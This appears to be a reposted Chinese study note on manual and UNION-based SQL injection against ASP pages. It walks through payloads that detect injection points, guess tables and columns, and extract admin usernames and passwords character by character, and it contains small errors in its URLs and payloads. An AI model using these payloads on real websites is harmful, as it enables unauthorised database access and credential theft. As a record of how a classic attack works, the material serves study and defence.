SQL注入 手注與聯合注入


SQL注入,吧sql命令插入到WEB表單,或輸入域名或頁面親求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令;
           得到數據庫用戶名和密碼
1:在以,{ .asp?id=32(任意數字) }結尾的鏈接依次添加{ ‘ }【 and 1=1 】和【and 1=2】,來判斷是否存在注入點。
2:【and exists(select*from admin)】,根據頁面返回結果來猜表名。
3:【and exists(select admin from admin)】,來猜admin 表中的列名admin 。
4:【and (select top 1 len (admin)from admin)>1】,來猜字段長度。
5:【and (select top 1 asc(mid(admin,1,1))from admin)>97】
 
e.g
  找到一個網站
HTTP://196.128.1.3:8008/onews.sap?id=40
1:HTTP://196.128.1.3:8008/onews.sap?id=40 and 1=1  (頁面顯示正常)
2:HTTP://196.128.1.3:8008/onews.sap?id=40 and 1=2 ( 顯示數據庫錯誤)
【1,2,步顯示頁面存在SQL注入】
3:HTTP://196.128.1.3:8008/onews.sap?id=40 and exists (select*from admin) 【頁面顯示正常,說明此頁面存在表名admin】
4:HTTP://196.128.1.3:8008/onews.sap?id=40 and exists (select password from admin)【存在password】
5: HTTP://196.128.1.3:8008/onews.sap?id=40 and exists (select admin from admin)【存在admin】
6: HTTP://196.128.1.3:8008/onews.sap?id=40 and  (select top 1 len(admin) (或 password)from admin)>1
【正常,表示admin(或 password)的字段是大余后面的數字的,(在后面的數字依次變大,直到頁面顯示錯誤,即表示字段最大長度為這個數字)】
7: HTTP://196.128.1.3:8008/onews.sap?id=40 and (select top 1 asc(mid(admin【或者 password】,1【其他位置的字段】,1))from admin)>97 【其他ASCLL對應的大小】
【直到頁面顯示數據庫錯誤,表示該password或admin 在該位置的字母】
9:重復以上操作,即可得到該頁面的admin 和 password
    猜想:可不可以用代碼來代替手工注入,這是一個重復的過程
 
 聯合注入法
1:HTTP://192.168.1.3:8008/onews.sap?id=36 order by 1【其他數】 【order by 所有字符的總長度,頁面不正常顯示,表示 admin 和password 的總長度為 】
2: HTTP://192.168.1.3:8008/onews.sap?id=36 union select 1,2,3,4,5,6,7,8,9,10,11 from admin
【頁面顯示 2 和 3,表示 password 和 admin 分別位於2 和 3 的位置。
4: HTTP://192.168.1.3:8008/onews.sap?id=36 union select 1,admin,password 4,5,6,7,8,9,10,11 from admin   【頁面即可爆處 admin 和 password】
  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM